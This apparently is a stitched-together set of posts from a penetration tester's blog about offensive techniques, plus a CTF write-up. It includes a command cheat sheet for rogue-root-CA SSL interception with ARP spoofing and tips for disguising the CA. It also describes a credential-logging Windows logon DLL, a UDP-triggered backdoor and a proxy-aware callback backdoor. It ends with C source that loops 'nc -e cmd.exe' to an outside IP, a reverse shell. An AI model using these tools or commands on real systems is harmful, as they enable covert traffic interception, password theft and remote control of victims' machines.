The fundamental issue with SSL is that of trust.  Despite all the effort that has gone into a robust and cryptographically secure design for SSL, its foundation is still easily abused.  In this paper I will explain an often-overlooked area of SSL exploitation.  That is the ability for any certificate to act as a root Certificate Authority for a system that can easily be added surreptitiously.

I’ve wanted to write about this very simple, yet often overlooked SSL attack technique for a while but hadn’t found the time.  After working through a few scenarios I’ve come to the conclusion that this is a relatively stealthy and very effective post exploitation tactic.  I consider this to be a post exploitation tactic because you need to already be in a position of power to assign a certificate as a trusted root certificate.

Core Issue

The core issue here is that there’s no distinction between Certification Authorities that have been added independently and those that are considered ‘standard’.  The main point I wish to make is that a person in a position of power can easily abuse SSL.  So even though users might be well trained to make sure they see the ‘lock icon’ in their browser they are still completely susceptible to real world attacks with real consequences.

I had also wanted to write about government and nation states’ abilities to easily circumvent the protection provided by SSL, but someone beat me to the punch.  There’s actually a very well written paper by Christopher Soghoian and Sid Stamm, which you can download at http://files.cloudprivacy.net/ssl-mitm.pdf.

This attack also has implications for systems other than SSL, however SSL is an example we can all understand and is the technology we’ll focus on here.

The scenarios in which this could be an effective attack are limitless.  Some of the biggest risks are:

• A less scrupulous company IT admin wishing to view all the encrypted communications of the company’s employees
• A compromised system or network propagating a rogue root certificate authority to further ones level of access
• A virus propagating a rogue CA certificate to all infected hosts

We will look at the implications of each of these shortly.

Arguments For and Against

If you have domain admin why do you need to do this?  Couldn’t you use any of another million more obvious choices like install a keylogger, rootkit, etc?  I agree, there are some cases where other traditional methods make more sense if you already have local admin on the target system.  However you shouldn’t completely disregard the attack, as there are scenarios where this makes more sense.  The biggest advantage appears to be that of stealth and ease of exploitation.

You can leave no other trace on a system except for a certificate and have the ability to then capture very sensitive data from the network.  Ask yourself; in all your years of scanning for viruses and malware, examining rootkits, performing forensics, etc, have you ever considered looking at all the certificates on a system to ensure they are all meant to be there.  With viruses, rootkits and backdoors there’s something to be discovered, including network traffic when the backdoor reports back home.  With a rogue certificate there is a quiet, seemingly innocent entry in the client’s registry.

You could also consider a pure social engineering attack.  Users might be educated enough to not run an executable downloaded from the Internet but would that same employee know to not install a ‘random’ certificate.  If an attacker were to spend 3 minutes over the phone directing a user to install a new certificate would the user think anything of it?

Implementation

Now lets look at how someone would go about executing such an attack against an entire network once domain administrator privileges have been obtained.

Create Certificate Authority Certificate

You have a few options here on how to actually create the certificate that will be used as a CA certificate.  I’m going to generate the CA certificate on a linux (backtrack) computer because it’s easily scriptable from the command line.  The openssl utilities are included with backtrack as well as most major distributions.  If you were so inclined you could easily create the same certificate on a Windows server.

This command generates the private key that will be used to sign the CA certificate and then signs the certificate ‘ca.crt’ which won’t expire for 10 years.  In a normal scenario you’d want a strong password on the key and to treat it as a very sensitive file.    You can see the output in the following image:

We’ve also filled in all the values to describe our certificate.  In our example we created our certificate to look very similar to one of the default VeriSign certificates included with Windows 7.  This would make it even more difficult for someone to determine the validity of the CA certificate.  If we wanted to be super evil we could match the expiration date and the additional OUs with that of the legitimate certificate to make it even more confusing for a would-be forensic examiner.

Distributing our Malicious Certificate

The next step is to get the certificate itself onto our target machines.  The most effective way is through Group Policy.  With Group Policy we can push a certificate out to an entire domain, which includes servers and client computers.  First you need to copy the crt file we generated earlier to the computer which has access to configure a Group Policy Object.  Note that you only need to copy the certificate, not the key file to your target machines.

There are two scenarios that stand out for deploying a rogue CA certificate via Group Policy.  The first is that of an unscrupulous employee doing something they shouldn’t and the second is that of an attacker wishing to further his hold on a compromised network.  Both of these scenarios would require a certain degree of stealth.  Thus we probably wouldn’t create an entirely new GPO, instead we would bury this configuration within an existing GPO.

For this example we’re configuring the Default Domain Policy to include this certificate.  Open Group Policy Editor, edit the GPO of your choice and browse to the following location:

Right click on the right pane and choose Import.  The wizard is pretty self-explanatory.  Now our certificate will be propagated to every machine for which this GPO applies.

If you would like to install this on a single test machine you can simply double click the crt file and choose Install Certificate as in the following image.

We then want to manually assign this as a Trusted Certification Authority so we choose the ‘Place all certificates in the following store’ option, choose Browse and then select ‘Trusted Root Certification Authorities’ as in the following Image.

Voila, we can now create certificates for any website, ANY.

Static Certificate Creation

We have the option of creating a certificate for a specific website or system and use this in a more directed fashion.  We also have the option to dynamically create certificates for any website the user visits, which will be covered next.

To create a new certificate we start by creating a new private key as we did before for the CA with the following command:

We then create a new Certificate Signing Request to be signed by our CA with the following command:

Finally we sign the CSR with the CA key we created earlier and we have the certificate for our server ‘server.crt’.

We would then configure our web server to use the certificate.  Backtrack comes with a good example SSL configuration for apache at /etc/apache2/sites-available/default-ssl.  For apache you’ll need to combine the server key and certificate into one file with the following command.  You would then use the .pem file for your apache server.

Dynamic Certificate Creation

Dynamically creating a certificate is much more fun than just creating a single phony web server.  Luckily Moxie Marlinspike already wrote the sslsniff tool which allows us to dynamically create website certificates based on the users request and sign it with a CA certificate of our choosing.  The sslnsiff utility comes preinstalled on backtrack.

To use the sslsniff program we need to first turn on IP forwarding on our machine and then configure iptables to send any traffic destined to port 443 to the sslsniff program.  The sslsniff program will then handle the actual SSL MITM and dynamic certificate creation.

To enable ip forwarding we use the following command.

We then configure iptables to forward traffic to our sslsniff program, which will be listening on port 9443.

We also need to combine our Certificate and Key into one file, just like the previous apache example.

When you combine the certificate and the encrypted key sslsniff will prompt you for the key when it runs.  If you don’t wish to be prompted to enter the key every time you can run the following command to create an unencrypted copy of your key and then append this to your certificate, like so:

We then configure sslnsiff to listen on port 9443 with this command.

The –a option tells sslsniff to run in Authority mode in which it will act as a certificate authority and sign all certificates with the cert pointed to by the –c option.  We then give an output file with the –w option.

Redirect Options

Now for the fun part, actually intercepting SSL encrypted traffic.  The attacker has many options for initiating the Man-In-The-Middle attack.  This is a perfect time for a DNS Poisoning attack however we could also use an Inline Sniffer or any layer 2 MITM (ARP Poisoning, ICMP Redirect, etc).  The best option depends on a myriad of factors but we’ll just use a simple ARP poisoning attack here for simplicities sake.

Cheat Sheet

Here are all the commands necessary to kick off this attack.

openssl req -new -x509 -extensions v3_ca -keyout ca.key  -out ca.crt -days 3650

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp –destination-port 443 -j REDIRECT –to-ports 9443

openssl rsa -in ca.key -out ca.plain.key

cat ca.plain.key ca.crt >> ca.pem

sslsniff -a -c /root/ca-cert/ca.pem -s 9443 -w out.txt

arpspoof -i eth0 -t 10.0.0.99 10.0.0.1

Whitepaper

You can also download a copy of this as a white paper which is free to distribute at http://www.leetsys.com/papers/inside-rogue-ca-attack.pdf

The quick lowdown: I wrote a DLL capable of logging the credentials entered at logon for Windows Vista, 7 and future versions which you can download at http://www.leetsys.com/programs/credentialprovider/cp.zip.  The credentials are logged to a file located at c:\cplog.txt.  Simply copy the dll to the system32 directory and run the included register.reg script to create the necessary registry settings.

The Detailed Technical Information

I started testing my rootkit on a windows 7 box and luckily most of it worked.  The only thing that wasn’t working was the ability to log credentials typed in when a user first logs in to Windows.  I’ve had a custom GINA stub dll that’s worked great for a while that I wrote years ago, it works with Windows 2000, XP and 2003.  GINA is the Graphical Identification and Authentication component of Windows and handles the logon screen that we’re all familiar with.  In the past you could choose to write your own GINA dll from scratch, or you could simply ‘extend’ the functionality of other GINA modules by creating a GINA stub dll.

Microsoft in their infinite wisdom decided to completely change the API and move away from GINA and the GINA model.  Now to customize the logon experience you have to implement a Credential Provider, this is true for Windows Vista and newer (7 and 2008).  Microsoft claims the reasoning behind this is to make it easier for developers to meet the demands for next generation authentication technologies (like biometrics, two factor and single sign on).  Frankly in a way Credential Providers are a lot easier to work with, but in another (probably more accurate way) they’re a huge pain in the ass to create our nefarious dll.  From what I remember creating a GINA stub dll to log Windows credentials took me probably 3 hours.  To get a credential provider to do exactly what I want took probably a good 40 hours.  At this point I should probably thank my girlfriend for putting up with my obsessive programming and constant cursing.

The Credential Provider Model

I won’t go over how GINA handled the authentication process, although if i get enough requests I might detail that in another post.  Instead I’ll focus on how the Credential Provider Model works.  Credential Providers are ‘In-Process COM objects’, aka a DLL.  Out of process COM objects would essentially be another executable that the interacting exe would interface with.  COM or Component Object Model is a pretty ethereal term, it’s basically a binary standard and language neutral way of implementing inter process communication, among other things.  This is obviously oversimplifying it, but this isn’t a discussion on COM.  This was my first time working with COM programming so that definitely accounts for some of the additional time.

The default credential provider is the PasswordProvider that comes with Windows 7 and has a GUID of 6f45dc1e-5384-457a-bc13-2cd81b0d28ed.  GUIDs are simply unique identifiers for our COM object.  One of the most important things to understand is that Credential Providers are not responsible for actually authenticating users.  It simply gathers the necessary information, ‘serializes’ the data, and then hands off the credentials to the Local System Authority.  Serializing the data simply involves putting the username and password (and potentially other variables) in a specific format and passing them back to logonui which then hands it off to the LSA.

A Tile is a new term for an important component of a Credential Provider.  Credential providers are represented by unique tiles at the logon screen, although it’s not a one to one mapping of one tile for each Credential Provider.  For example the default password provider enumerates credentials or user accounts and creates a unique tile for each username.  The user can then click the tile for their username, type in the password and be authenticated.  Although the Credential Provider is not directly responsible for creating the graphical elements it does instruct Logonui of the fields it wishes to present to the user, this does actually make things a lot easier than programming the entire interface.

In this image you’ll see that we have two credential providers co-existing.  The default passwordprovider is on the left and our credential provider is on the right.

You’ll notice that in this scenario there’s no way for the user to distinguish between the two credential providers.  So we need a way to ‘force’ the user into only using our credential provider.  There’s no way to truly ‘force’ a user to use a particular credential provider when multiple credential providers are presented.  To accomplish our goal we can use the CredentialProviderFilter interface to filter out any other credential providers, more on this shortly.

Winlogon.exe launches Logonui.exe which then queries the credential provider and the credential provider returns information to logonui.  The credential providers are defined in the registry and referenced by a GUID (a unique ID).  The location in the registry where credential providers are defined is: HKLM\Software\Microsoft\Windows\CurrentVersion\Authentication\CredentialProviders.  To add a credential provider we create a new key with the GUID of the provider and copy the dll to the system32 directory. this is handled by the register.reg file included with ours.

Credential Provider Wrapper

We have the option of creating our own credential provider from scratch, filtering out any other provider and logging the credentials.  This isn’t optimal for a few reasons.  Besides the fact that it’s a considerable amount of work to create a credential provider to mimic all the existing functionality the main reason we don’t want to do this is because we can’t guarantee that the target system we wish to deploy our rogue credential provider on will look and feel exactly as the user expects it to.  For example if the company has deployed a new credential provider to ask the user additional questions during log in and our credential provider does not include those same questions this could set off a huge red flag for anyone using that system.

Thus the best solution for us is to wrap the existing credential providers.  The new process flow with a wrapped provider looks like this figure.  Logonui will make the function calls into our custom credential provider, we can then choose to either handle processing for that function or hand it off to the wrapped credential provider.

We actually have many choices on how to log the username and password using our credential provider wrapper.  The solution I chose was to manipulate the SetStringValue function.  This function is called every time a user types a key for any field in the credential provider.  Thus when a user types in a key we simply write that key to a file.  This also allows us to capture ANYTHING a user types in to a field when they logon, so our provider should grab everything for next gen or non standard credential providers.

We also manipulate the GetStringValue function which gives us the string value of fields in the credential provider.  This is handy because the default password provider does not prompt the user for their username.  Instead the user clicks a tile with their username already filled in, thus we can’t get the username from the SetStringValue function.

The implementation of my code to grab the user from the GetStringValue function demonstrates a handy feature of the way the wrapped and wrapper relationship works.  In the sample wrapper from the Windows SDK logonui calls our getstringvalue function and we simply hand the variables off directly to the wrapped credential provider.  The wrapped credential provider then performs the work of the getstringvalue function, everything works as it should, and all is good in the world.  Since the ppwsz variable we give to the wrapped credential provider is a pointer to the PWSTR variable that will contain the string of the field specified we can access this variable when the wrapped function returns.  Thus rather than implementing the getstringvalue function we simply hand off the variables as usual and print out the string from the pointer after the real function does all the work and returns.

The function for handing off the work for the GetStringValue function to our wrapped provider looks like this;

hr = _pWrappedCredential->GetStringValue(dwFieldID, ppwsz);

CredentialProviderFilter

As part of the custom credential provider I implemented the credential provider filter.  This might be one of the most helpful parts of this project/post for other developers.  Microsoft has an FAQ included with their SDK samples for Credential Providers that states they will NOT release a sample credential provider filter… Thanks Microsoft for releasing a complex API and offering ZERO help, terrific.

Luckily I was able to find a broken example online, fix it, fill in some gaps and now it’s fully functional.  Thank you to the anonymous person who started the effort.  Credential Providers are defined in the registry as well at HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Provider Filters\.  Again all you have to do is create a key with the GUID of the filter.  This is included in the register.reg file included with my credential provider.

Logonui will call the Filter function for any configured credential provider filters.  It will pass a BOOL variable for every credential provider configured, at which point the Filter can choose to allow or deny the specified credential provider by setting the BOOL variable to true or false.

Currently my filter only filters out the password provider, but it’s incredibly easy to change it to filter out all other providers.  The following evaluation checks to see if the credential provider GUID matches that of the default password provider, if so it filters it out by setting the rgbAllow BOOL to FALSE.  You could change this evaluation to always be true and filter out all providers.

if (IsEqualGUID(rgclsidProviders[i], CLSID_PasswordCredentialProvider))
rgbAllow[i] = FALSE;

Special Notes about The Credential Provider Wrapper

I originally had some issues when trying to compile on Visual Studio 2010 Express so I used Visual Studio 2008 Express and everything was fine.  I have no doubt you could get this to compile with 2010, I just didn’t feel like wasting time on it.  In addition I had to use the _CRT_SECURE_NO_WARNINGS preprocessor settings which are defined under the properties for the project in Visual Studio, under C/C++ -> Preprocessor Definitions.  This allows us to use the fopen function rather than fopen_s, again, just laziness on my side.  If Microsoft wants to force me to use a specific function it makes me want to do it less, just stubbornness from my childhood that’s stuck.

I also had to use the following two defines to suppress the error 4995.

#define DEPRECATE_SUPPORTED
#pragma warning(disable:4995)

The GUID can be changed to whatever you want, just manipulate the define in the guid.h file.  One of the best resources I found for helping to understand development of a credential provider was the ‘Credential Provider Technical Doc.doc’, I’ve included a copy of this doc in my full archive for the credential provider in case the link is ever broken on the interwebs.  You can download the source and dll at http://www.leetsys.com/programs/credentialprovider/cp-devel.zip

You have an Internet system that you would like to administer remotely without leaving the administrative service open to the entire Internet.  However you’re not always coming from the same source IP address.  Although it’s common practice to restrict access to only secure administration services (eg SSH) I’d like to avoid having any TCP ports exposed to the open Internet.

My specific scenario is this.   I have a VPS hosted in the cloud which I don’t want to have ANY ports open to would be attackers.  I wish to manage the server via SSH but again I don’t want to even have this port open to the entire Internet.  Thus we need a way to firewall our VPS off from the entire Internet and yet easily open access to ssh from any IP address.  To make this easy it should not require a dedicated client and should hopefully use a standard and easy method to send the password.

Solution

Enter SimSim, which can be downloaded at http://leetsys.com/programs/simsim/v1.0/.  SimSim monitors network traffic using libpcap.  If it sees the configured ‘password’ come in on any UDP packet it will execute a defined script.  In our case the defined script modifies iptables to allow any TCP connection from the IP Address of the packet that contained the password.  However it can really execute any command we want as it’s just a simple call to system().

To trigger the password we simply use netcat with the -u (for UDP) option and include the password.  The default password is simsim which is defined in simsim.c.  To take up fewer system resources (CPU & Memory) simsim currently only monitors UDP port 22, which means we’ll rarely be inspecting packets that are not in fact sent by us.  This of course can be changed by changing the BPF filter in simsim.c.

Example

Let’s take a look at an example of simsim in action.

First we start by port scanning our target server running simsim.

You can see that our server has no open ports.  Next we send the server the configured password via netcat on port 22.

We then portscan the server again and voila, we see that we can access the SSH server.

Shortcomings

There are of course a few shortcomings in this design.  The biggest of which is the fact that the password is sent in cleartext with no cryptographic exchange by the server.  When you take into account what simsim is designed to do and who it’s meant to keep out this seems like an acceptable risk to me.  We could design a more robust solution but then it would require a dedicated client to be used vs using netcat which is widely available today.

We’re assuming that we are on a trustworthy network connection and that we’re more worried about attackers coming from other areas of the Internet.  Likewise if someone were to capture the password via sniffing and replay the packet they would be able to trigger simsim into executing the defined script.  This again is not such a big deal as they still need to authenticate to the SSH deamon.  As long as you don’t use the same password to trigger simsim as you do to log in to your SSH deamon you should be fine.

Flexibility

Because we can execute any system command the options are limitless for what we could have simsim do in reaction to receiving the identified password, we could potentially even setup multiple ‘passwords’ to trigger different events.  This could even be used as a potential backdoor.  Imagine a situation where you could add a user account or change the root password remotely by sending a single UDP packet!

You can download Genesis at http://www.leetsys.com/programs/genesis/
You can downlaod the curl library at http://curl.haxx.se/download.html.  To Download and compile to work with Dev-CPP follow these steps:

add c:\dev-cpp\bin\ to path
run mingw32-make mingw32 in root curl path
Copy include\curl to dev-cpp include path
If you want to use Dynamic Library (DLL) and greatly reduce the size of Genesis:
copy libcurl.dll to c:\windows\system32
If you want to statically compile Set these options under Linker
#####
add the library - libcurl.a
-lws2_32
-lwldap32
####
Compiler Options set -DCURL_STATICLIB (or #define CURL_STATICLIB within main c file )
I had been programming HTTP communications by hand before and curl has greatly reduced the effort to integrate this functionality into a program.  I’m definitely looking forward to porting over existing programs to use curl.

Solution: Our backdoor needs to detect whether the user’s browser is configured to use a proxy server and if so call back to our HTTP command and control server through that proxy.

Implementation: I’m not really giving this project a name because in it’s current state it’s just a very simple proof of concept and only reports whether the program was run.  We find ourselves doing these lightweight style social engineering engagements where we don’t necessarily need to penetrate a client further, all we want to know is if end users are doing things they shouldn’t (like clicking malicious links or plugging in unauthorized USB devices).  The code is pretty damn ugly but if I integrate this into my full blown rootkit/backdoor I’ll clean it up.  I don’t have plans to release my rootkit, but if anyone is interested in checking it out you can email me.

The only thing you need to get this POC functioning for you is to upload report.php to a web server and then change the destination email address in report.php to receive the alerts.  Then change the two DEFINEs in main.c for the POC to point to this webserver (server host and tcp port).  The POC first checks for the presence of a proxy server by querying the registry key HKLM\SOFTWARE\MICROSOFT\WINDOWS\CurrentVersion\Internet Settings\ProxyEnable.  If ProxyEnable is set to 1 it then checks for the proxy configuration in ProxyServer.   The POC then reports back to our HTTP server sending the workstation name and currently logged on user in an HTTP GET request.  The php script (report.php) then takes these and emails them to us.

If no proxy is detected the backdoor directly connects to the defined server to issue the GET request and we receive the email as expected.  You can download the source code and report.php file from here.

Limitations: The only real limitation I can think right now is if the organization isn’t using Internet Explorer and the proxy settings are stored somewhere else.  This is definitely possible but I doubt a business environment would not also include proxy settings for Internet Explorer, for obvious reasons.

In the past I’ve used either tcpdump or wireshark and filter for the traffic I want, but even that is cumbersome. Enter WOMAN. WOMAN uses libpcap and prints out HTTP Agent strings, GET and PUT requests, DNS requests and DNS responses. You can enable and disable each one of these individually using command line arguments. Sure you have other options available to gather this information but I prefer a home grown utility designed to do one thing and do it well, it’s written in C and is very fast. You can also run this tool concurrently with other pcap/injection tools. I definitely plan on expanding the program to add handy features.

The current supported arguments are:

root@bt# ./woman
Woman Version 0.01
Who's On Ma Network - (http://leetsys.com/projects/woman/)
Passive Host & Communication Identification Tool

Usage:
-A show HTTP User Agent
-G show HTTP Get Requests
-H show HTTP Host Header
-i set capture interface
-P show HTTP Post Requests
-r show DNS requests
-R show DNS responses


Here is an example screenshot of a very quick session, capturing only the HTTP User Agent and Host.

This is a perfect example showing that by simply observing the HTTP requests of a client we can get detailed information. We can see that the host is running Linux and the browser is Firefox 5.0.1. An interesting unintended bit of info is that we see the client querying two additional hosts although we only entered one website (www.leetsys.com). Again, this is great info to help identify the OS/Software and function of an end client.

There’s currently an issue with DNS responses with multiple answers, which I’ll be fixing shortly. DNS has been an extreme headache to work with but also extremely fun.

You can download the source and binary at http://www.leetsys.com/programs/woman/v0.01/

As always constructive feedback is welcomed.

I think I should start off by saying that the challenge was freaking awesome. It was so much fun. My hat goes off to the three gents that set it up, they did a great job and I know from conversations that people of all skill levels really enjoyed it. I definitely look forward to seeing those guys again and hopefully helping to create a future CTF.

The challenges
There was a wide range of challenges, which is one of the reasons I think it was so much fun, you really got a nice cranial workout. Some of the challenges included attack vectors such as

• Port Scanning
• Web Application Scanning
• SQL Injection
• Reverse Engineering
• Packet Captures
• FIrefox Internals
• Password Cracking
• Public Key Cryptography

Our Methodology
I think one of the reasons we really enjoyed this (and did relatively well) is that in a very real sense the CTF closely mirrored our experience when Penetration Testing. I should probably note that Justin and I have been friends for a long time and have been performing penetration tests together for quite some time. We’re currently working for the same company and head up our Offensive Security Practice so we’re used to working together (and wanting to punch each other in the face).

Tactic 1 – Enumeration
Now clearly enumeration is a part of any successful security engagement but in this case it took on a little twist. We knew there were many points (flags) to be collected spread across many different vectors. As we would enumerate different areas that seemed like they might lead to more flags we’d keep a list of these possibilities in a text file and then continue to try and enumerate additional vectors. We found ourselves referring to this list many times either after we had obtained a flag and needed a new challenge or when we became frustrated and needed a new challenge.

Tactic 2 – Divide and Conquer
Justin and I worked very well as a team, we really played off each others strengths and we were rarely working on the same thing at the same time. We would each take a task and try and see it through to the end. There were definitely times we had to collaborate and bounce ideas off each other and it was this constant touch and go that I think really made a difference. A sub-tactic of this would be peer review and feedback. If either of us thought the other one was doing something stupid or wasting time we didn’t hesitate to voice our opinion and make sure we stayed on track.

Tactic 3 – Think Logically
With the group of very intelligent folks at Derbycon – thinking logically probably goes without saying. However, I think we might have had a unique twist that also helped obtain the win. There were several occasions where we would step back and think *What exactly are we trying to accomplish, and how should it work*. This really helped us to focus on the goal we were trying to achieve. Don’t confuse our attack goals with our ultimate goal of winning. The perfect example I can think of is when we had been spinning our wheels for a while on a web challenge.
The gents who ran the CTF had installed the FCKeditor on one of the web servers. We had found it with the nikto tool and a quick google search shows that the FCKeditor is a WYSIWYG text editor and historically has had a few vulnerabilities. I was convinced that I could exploit a File upload/RFI/LFI vulnerability and kept trying to force the issue. It wasn’t until I took a second to step back and think, what exactly am I trying to accomplish, how does it work, and what will it get me. When I did that a lightbulb went off and I realized, wait a minute, there aren’t any active pages within FCKeditor (they had all been removed by the CTF guys)! And with no active pages (ASP, PHP, etc) there’s no way an RFI/LFI vulnerability exists! Time to move on!

Tactic 4 – Take a Freaking Break
The previous tactic works very nicely with this one. Some people don’t necessarily need breaks. Justin for example is a freaking tenacious maniac and trying to pry him away from a problem he’s working on is like ripping a bone out of dogs mouth. I on the other hand have learned that I can work more efficiently if I take regular breaks. If I’m spinning my wheels and not getting anywhere I say ok, time to step away, grab some coffee, food or go to the bathroom. Just take a few minutes to clear your head, the problem will still be there when you get back. This used to be very hard for me to do (I used to be more like Justin, and frankly sometimes it’s still very hard) but I’ve found that I can personally be more effective if I give my brain a break.

Tactic 5 – Know Thy Enemy
Sun Tzu was whispering in our ears during the CTF ( we’re actually good friends with Sun Tzu… we know people). And we kept thinking about the makers of the CTF. One thought we kept working through is, what is the point of X. For example we knew that for the most part we could count on every file on the FTP server being placed there for a reason, and some of them had multiple purposes. We kept thinking what is the reason this particular file exists and was the flag we captured just a little too easy. This helped us to double back on a few challenges and find flags that needed just a little further digging.

Real World Penetration Testing Parallels
I had mentioned that this CTF did a pretty damn good job of mirroring our efforts during a real penetration test and I figured some of this was worth mentioning. I think above all else the most direct parallel is the frustration and the tenacity needed. There were times when we were both EXTREMELY frustrated, literally cursing at our computers, the servers (and maybe the organizers :P). We knew there was something we were missing, wondering why the specific SQL syntax we were using wasn’t working, why this hash isn’t decrypting like we thought it should, why wireshark wasn’t doing what it was supposed to, the list goes on. We had to use all the previously mentioned tactics and work past the serious frustration until each challenge was met.
Research… Just like during real penetration tests we came across things we weren’t familiar with. The best example is the FCKeditor. We had never seen it before, but googling it showed us what it was, how it worked and some of the vulnerabilities in previous versions. Not stopping at unfamiliar points is critical in the real world and definitely came into play here.

Thanks Again!
One last time just want to thank all the organizers of Derbycon and the organizers of the CTF. Derbycon was beyond freaking awesome. And the CTF only elevated it, it was so cool that they got so many people at different skill levels involved. It’s sort of like The Matrix… No one can be told what Derbycon is, you just have to see it for yourself. If you weren’t there you simply can’t understand the amazing friendly/community vibe. Everyone there was super chill and super cool. Can’t wait for next year, BAM!

Install Linux (depending on situation you might want FDE)
install security tools (nmap, build-essential, nc, etc)

vi /etc/default/acpi-support
Disable sleep in BIOS

ssh-keygen -t rsa (on laptop)

scp ~/.ssh/id_rsa.pub MYVPS:~

cat id_dsa.pub >> .ssh/authorized_keys

NOTE that the usernames must match on local and remote system

/usr/bin/ssh root@MYVPS -R *:222:localhost:22 -N -q -o ‘BatchMode yes’ -o ‘ExitOnForwardFailure yes’

Add to roots crontab
crontab -e */10 * * * * /scripts/callhome

Now ssh to your VPS box and then ssh localhost -p 222, you’re now authenticating to your callback box.

Source Code and Binary

/*
Call Netcat every X seconds
*/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <windows.h>
#include <winsock.h>
#define WIN32_LEAN_AND_MEAN

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow )
{

while ( 1 == 1)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;

ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );

while ( 1 == 1)
{
CreateProcess( NULL, “nc -e cmd.exe 1.1.1.1 80″, NULL, NULL, 0, 0, NULL, NULL, &si, &pi);
Sleep(100000);
}

}
}